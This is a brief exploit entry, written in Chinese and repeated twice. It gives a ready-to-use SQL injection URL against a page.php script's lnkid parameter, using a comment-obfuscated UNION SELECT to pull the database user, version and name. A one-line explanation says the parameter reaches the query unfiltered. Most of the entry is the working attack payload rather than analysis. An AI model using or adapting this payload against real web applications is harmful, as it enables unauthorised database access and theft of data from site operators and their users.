exp ``` www.example.com/Script/page.php?lnkid=-1/**/UNION/**/SELECT/**/1,1,1,1,concat_ws(user(),version(),database()),1/* ``` 文件page.php没有对linkid的值进行过滤,直接带入了查询,导致sql注入漏洞产生
exp ``` www.example.com/Script/page.php?lnkid=-1/**/UNION/**/SELECT/**/1,1,1,1,concat_ws(user(),version(),database()),1/* ``` 文件page.php没有对linkid的值进行过滤,直接带入了查询,导致sql注入漏洞产生